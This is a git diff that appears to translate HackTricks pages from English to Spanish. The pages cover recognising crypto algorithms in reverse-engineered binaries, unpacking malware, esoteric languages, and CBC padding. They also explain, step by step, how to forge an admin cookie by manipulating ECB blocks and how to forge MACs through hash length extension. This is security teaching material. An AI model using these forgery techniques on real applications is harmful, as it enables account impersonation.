Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: Inicia el hash de un flujo de datos. Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
![](<../../images/image (549).png>) ![](<../../images/image (549).png>)
\ \
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants ### Constantes de código
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. A veces es realmente fácil identificar un algoritmo gracias al hecho de que necesita usar un valor especial y único.
![](<../../images/image (833).png>) ![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get: Si buscas la primera constante en Google, esto es lo que obtienes:
![](<../../images/image (529).png>) ![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ Por lo tanto, puedes asumir que la función decompilada es un **calculador de sha256.**\
You can search any of the other constants and you will obtain (probably) the same result. Puedes buscar cualquiera de las otras constantes y obtendrás (probablemente) el mismo resultado.
### data info ### información de datos
If the code doesn't have any significant constant it may be **loading information from the .data section**.\ Si el código no tiene ninguna constante significativa, puede estar **cargando información de la sección .data**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before: Puedes acceder a esos datos, **agrupar el primer dword** y buscarlo en Google como hemos hecho en la sección anterior:
![](<../../images/image (531).png>) ![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. En este caso, si buscas **0xA56363C6** puedes encontrar que está relacionado con las **tablas del algoritmo AES**.
## RC4 **(Symmetric Crypt)** ## RC4 **(Criptografía Simétrica)**
### Characteristics ### Características
It's composed of 3 main parts: Está compuesto por 3 partes principales:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). - **Etapa de inicialización/**: Crea una **tabla de valores de 0x00 a 0xFF** (256 bytes en total, 0x100). Esta tabla se llama comúnmente **Caja de Sustitución** (o SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. - **Etapa de mezcla**: **Recorrerá la tabla** creada antes (bucle de 0x100 iteraciones, nuevamente) modificando cada valor con bytes **semi-aleatorios**. Para crear estos bytes semi-aleatorios, se utiliza la **clave RC4**. Las **claves RC4** pueden tener **entre 1 y 256 bytes de longitud**, sin embargo, generalmente se recomienda que sea superior a 5 bytes. Comúnmente, las claves RC4 tienen 16 bytes de longitud.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. - **Etapa XOR**: Finalmente, el texto plano o el texto cifrado se **XOR con los valores creados antes**. La función para cifrar y descifrar es la misma. Para esto, se realizará un **bucle a través de los 256 bytes creados** tantas veces como sea necesario. Esto generalmente se reconoce en un código decompilado con un **%256 (mod 256)**.
> [!NOTE] > [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** > **Para identificar un RC4 en un código desensamblado/decompilado, puedes buscar 2 bucles de tamaño 0x100 (con el uso de una clave) y luego un XOR de los datos de entrada con los 256 valores creados antes en los 2 bucles, probablemente usando un %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) ### **Etapa de Inicialización/Caja de Sustitución:** (Nota el número 256 usado como contador y cómo se escribe un 0 en cada lugar de los 256 caracteres)
![](<../../images/image (584).png>) ![](<../../images/image (584).png>)
### **Scrambling Stage:** ### **Etapa de Mezcla:**
![](<../../images/image (835).png>) ![](<../../images/image (835).png>)
### **XOR Stage:** ### **Etapa XOR:**
![](<../../images/image (904).png>) ![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)** ## **AES (Criptografía Simétrica)**
### **Characteristics** ### **Características**
- Use of **substitution boxes and lookup tables** - Uso de **cajas de sustitución y tablas de búsqueda**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ - Es posible **distinguir AES gracias al uso de valores específicos de tablas de búsqueda** (constantes). _Nota que la **constante** puede ser **almacenada** en el binario **o creada** _**dinámicamente**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. - La **clave de cifrado** debe ser **divisible** por **16** (generalmente 32B) y generalmente se utiliza un **IV** de 16B.
### SBox constants ### Constantes SBox
![](<../../images/image (208).png>) ![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)** ## Serpent **(Criptografía Simétrica)**
### Characteristics ### Características
- It's rare to find some malware using it but there are examples (Ursnif) - Es raro encontrar malware que lo use, pero hay ejemplos (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) - Simple de determinar si un algoritmo es Serpent o no basado en su longitud (función extremadamente larga)
### Identifying ### Identificación
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ En la siguiente imagen, nota cómo se utiliza la constante **0x9E3779B9** (nota que esta constante también es utilizada por otros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: También nota el **tamaño del bucle** (**132**) y el **número de operaciones XOR** en las **instrucciones de desensamblado** y en el **ejemplo de código**:
![](<../../images/image (547).png>) ![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: Como se mencionó antes, este código puede visualizarse dentro de cualquier decompilador como una **función muy larga** ya que **no hay saltos** dentro de ella. El código decompilado puede verse como el siguiente:
![](<../../images/image (513).png>) ![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). Por lo tanto, es posible identificar este algoritmo verificando el **número mágico** y los **XOR iniciales**, viendo una **función muy larga** y **comparando** algunas **instrucciones** de la larga función **con una implementación** (como el desplazamiento a la izquierda por 7 y la rotación a la izquierda por 22).
## RSA **(Asymmetric Crypt)** ## RSA **(Criptografía Asimétrica)**
### Characteristics ### Características
- More complex than symmetric algorithms - Más complejo que los algoritmos simétricos
- There are no constants! (custom implementation are difficult to determine) - ¡No hay constantes! (las implementaciones personalizadas son difíciles de determinar)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. - KANAL (un analizador criptográfico) no muestra pistas sobre RSA ya que se basa en constantes.
### Identifying by comparisons ### Identificación por comparaciones
![](<../../images/image (1113).png>) ![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` - En la línea 11 (izquierda) hay un `+7) >> 3` que es el mismo que en la línea 35 (derecha): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` - La línea 12 (izquierda) está verificando si `modulus_len < 0x040` y en la línea 36 (derecha) está verificando si `inputLen+11 > modulusLen`
## MD5 & SHA (hash) ## MD5 & SHA (hash)
### Characteristics ### Características
- 3 functions: Init, Update, Final - 3 funciones: Init, Update, Final
- Similar initialize functions - Funciones de inicialización similares
### Identify ### Identificar
**Init** **Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: Puedes identificar ambos verificando las constantes. Nota que sha_init tiene 1 constante que MD5 no tiene:
![](<../../images/image (406).png>) ![](<../../images/image (406).png>)
**MD5 Transform** **Transformación MD5**
Note the use of more constants Nota el uso de más constantes
![](<../../images/image (253) (1) (1).png>) ![](<../../images/image (253) (1) (1).png>)
## CRC (hash) ## CRC (hash)
- Smaller and more efficient as it's function is to find accidental changes in data - Más pequeño y eficiente ya que su función es encontrar cambios accidentales en los datos
- Uses lookup tables (so you can identify constants) - Utiliza tablas de búsqueda (por lo que puedes identificar constantes)
### Identify ### Identificar
Check **lookup table constants**: Verifica **constantes de tablas de búsqueda**:
![](<../../images/image (508).png>) ![](<../../images/image (508).png>)
A CRC hash algorithm looks like: Un algoritmo de hash CRC se ve como:
![](<../../images/image (391).png>) ![](<../../images/image (391).png>)
## APLib (Compression) ## APLib (Compresn)
### Characteristics ### Características
- Not recognizable constants - Constantes no reconocibles
- You can try to write the algorithm in python and search for similar things online - Puedes intentar escribir el algoritmo en python y buscar cosas similares en línea
### Identify ### Identificar
The graph is quiet large: El gráfico es bastante grande:
![](<../../images/image (207) (2) (1).png>) ![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**: Verifica **3 comparaciones para reconocerlo**:
![](<../../images/image (430).png>) ![](<../../images/image (430).png>)

View File

@ -1,24 +1,23 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries # Identificación de binarios empaquetados
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string - **falta de cadenas**: Es común encontrar que los binarios empaquetados no tienen casi ninguna cadena.
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. - Muchas **cadenas no utilizadas**: Además, cuando un malware utiliza algún tipo de empaquetador comercial, es común encontrar muchas cadenas sin referencias cruzadas. Incluso si estas cadenas existen, eso no significa que el binario no esté empaquetado.
- You can also use some tools to try to find which packer was used to pack a binary: - También puedes usar algunas herramientas para intentar encontrar qué empaquetador se utilizó para empaquetar un binario:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/) - [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations # Recomendaciones Básicas
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. - **Comienza** a analizar el binario empaquetado **desde abajo en IDA y sube**. Los desempaquetadores salen una vez que el código desempaquetado sale, por lo que es poco probable que el desempaquetador pase la ejecución al código desempaquetado al principio.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. - Busca **JMP's** o **CALLs** a **registros** o **regiones** de **memoria**. También busca **funciones que empujan argumentos y una dirección de dirección y luego llaman a `retn`**, porque el retorno de la función en ese caso puede llamar a la dirección que se acaba de empujar a la pila antes de llamarla.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - Coloca un **punto de interrupción** en `VirtualAlloc`, ya que esto asigna espacio en memoria donde el programa puede escribir código desempaquetado. "Ejecutar hasta el código de usuario" o usa F8 para **obtener el valor dentro de EAX** después de ejecutar la función y "**seguir esa dirección en el volcado**". Nunca sabes si esa es la región donde se va a guardar el código desempaquetado.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). - **`VirtualAlloc`** con el valor "**40**" como argumento significa Leer+Escribir+Ejecutar (algún código que necesita ejecución se va a copiar aquí).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. - **Mientras desempaquetas** código, es normal encontrar **varias llamadas** a **operaciones aritméticas** y funciones como **`memcopy`** o **`Virtual`**`Alloc`. Si te encuentras en una función que aparentemente solo realiza operaciones aritméticas y tal vez algún `memcopy`, la recomendación es intentar **encontrar el final de la función** (tal vez un JMP o llamada a algún registro) **o** al menos la **llamada a la última función** y ejecutarla, ya que el código no es interesante.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). - Mientras desempaquetas código, **nota** cada vez que **cambias la región de memoria**, ya que un cambio en la región de memoria puede indicar el **inicio del código desempaquetado**. Puedes volcar fácilmente una región de memoria usando Process Hacker (proceso --> propiedades --> memoria).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - Mientras intentas desempaquetar código, una buena manera de **saber si ya estás trabajando con el código desempaquetado** (así que puedes simplemente volcarlo) es **verificar las cadenas del binario**. Si en algún momento realizas un salto (tal vez cambiando la región de memoria) y notas que **se añadieron muchas más cadenas**, entonces puedes saber **que estás trabajando con el código desempaquetado**. Sin embargo, si el empaquetador ya contiene muchas cadenas, puedes ver cuántas cadenas contienen la palabra "http" y ver si este número aumenta.
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. - Cuando vuelcas un ejecutable desde una región de memoria, puedes corregir algunos encabezados usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB # ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. (ECB) Libro de Códigos Electrónicos - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications: Usar ECB tiene múltiples implicaciones de seguridad:
- **Blocks from encrypted message can be removed** - **Se pueden eliminar bloques del mensaje cifrado**
- **Blocks from encrypted message can be moved around** - **Se pueden mover bloques del mensaje cifrado**
# Detection of the vulnerability # Detección de la vulnerabilidad
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\ Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. Descubres que los **bloques de 8B** donde la **info de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque **se está utilizando ECB**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**.
``` ```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
``` ```
Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (tal vez el delimitador "|" o alguna diferencia necesaria en el nombre de usuario).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). Ahora, el atacante solo necesita descubrir si el formato es `<username><delimiter><password>` o `<password><delimiter><username>`. Para hacer eso, puede **generar varios nombres de usuario** con **nombres de usuario y contraseñas similares y largos hasta que encuentre el formato y la longitud del delimitador:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** | Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud del nombre de usuario+contraseña: | Longitud de la cookie (después de decodificar): |
| ------------------------------- | -------------------------- | ------------------------------------------- | ------------------------------------------------ |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | # Explotación de la vulnerabilidad
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Exploitation of the vulnerability ## Eliminando bloques enteros
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
Conociendo el formato de la cookie (`<username>|<password>`), para suplantar el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtiene la cookie y la decodifica:
``` ```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado anteriormente con el nombre de usuario que contenía solo `a`.\
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`:
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
``` ```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
## Moviendo bloques
## Moving blocks En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extra)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ Así que, otra forma de suplantar al usuario `admin` sería:
So, another way to impersonate the user `admin` would be to: - Generar un nombre de usuario que: `len(<username>) + len(<delimiter) % len(block)`. Con un tamaño de bloque de `8B` puedes generar un nombre de usuario llamado: `username `, con el delimitador `|` el fragmento `<username><delimiter>` generará 2 bloques de 8Bs.
- Luego, generar una contraseña que llenará un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs. La cookie de este usuario va a estar compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está falsificando el nombre de usuario): `username |admin `
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` **Luego, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** ## Referencias
## References
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>) - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages # Lenguajes esotéricos
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages Consulta esa wiki para buscar más lenguajes esotéricos
## Malbolge ## Malbolge
``` ```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#" ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@> `CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
``` ```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet ## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar ## Rockstar
``` ```
Midnight takes your heart and your soul Midnight takes your heart and your soul
While your heart is as high as your soul While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world Whisper my world
``` ```
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Summary of the attack ## Resumen del ataque
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes:
- **The length of the secret** (this can be also bruteforced from a given length range) - **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado)
- **The clear text data** - **Los datos de texto claro**
- **The algorithm (and it's vulnerable to this attack)** - **El algoritmo (y es vulnerable a este ataque)**
- **The padding is known** - **El padding es conocido**
- Usually a default one is used, so if the other 3 requirements are met, this also is - Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed - El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
### How? ### ¿Cómo?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can: Si un atacante quiere agregar la cadena "append", puede:
- Generate a MD5 of 64 "A"s - Generar un MD5 de 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b - Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append" - Agregar la cadena "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** - Terminar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"**
### **Tool** ### **Herramienta**
{% embed url="https://github.com/iagox86/hash_extender" %} {% embed url="https://github.com/iagox86/hash_extender" %}
### References ### Referencias
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done: Para descifrar CBC se realizan las **operaciones** **opuestas**:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**. Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
## Message Padding ## Relleno de Mensaje
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
Let's look at more examples with a **2 blocks of length 8bytes**: Veamos más ejemplos con **2 bloques de longitud 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
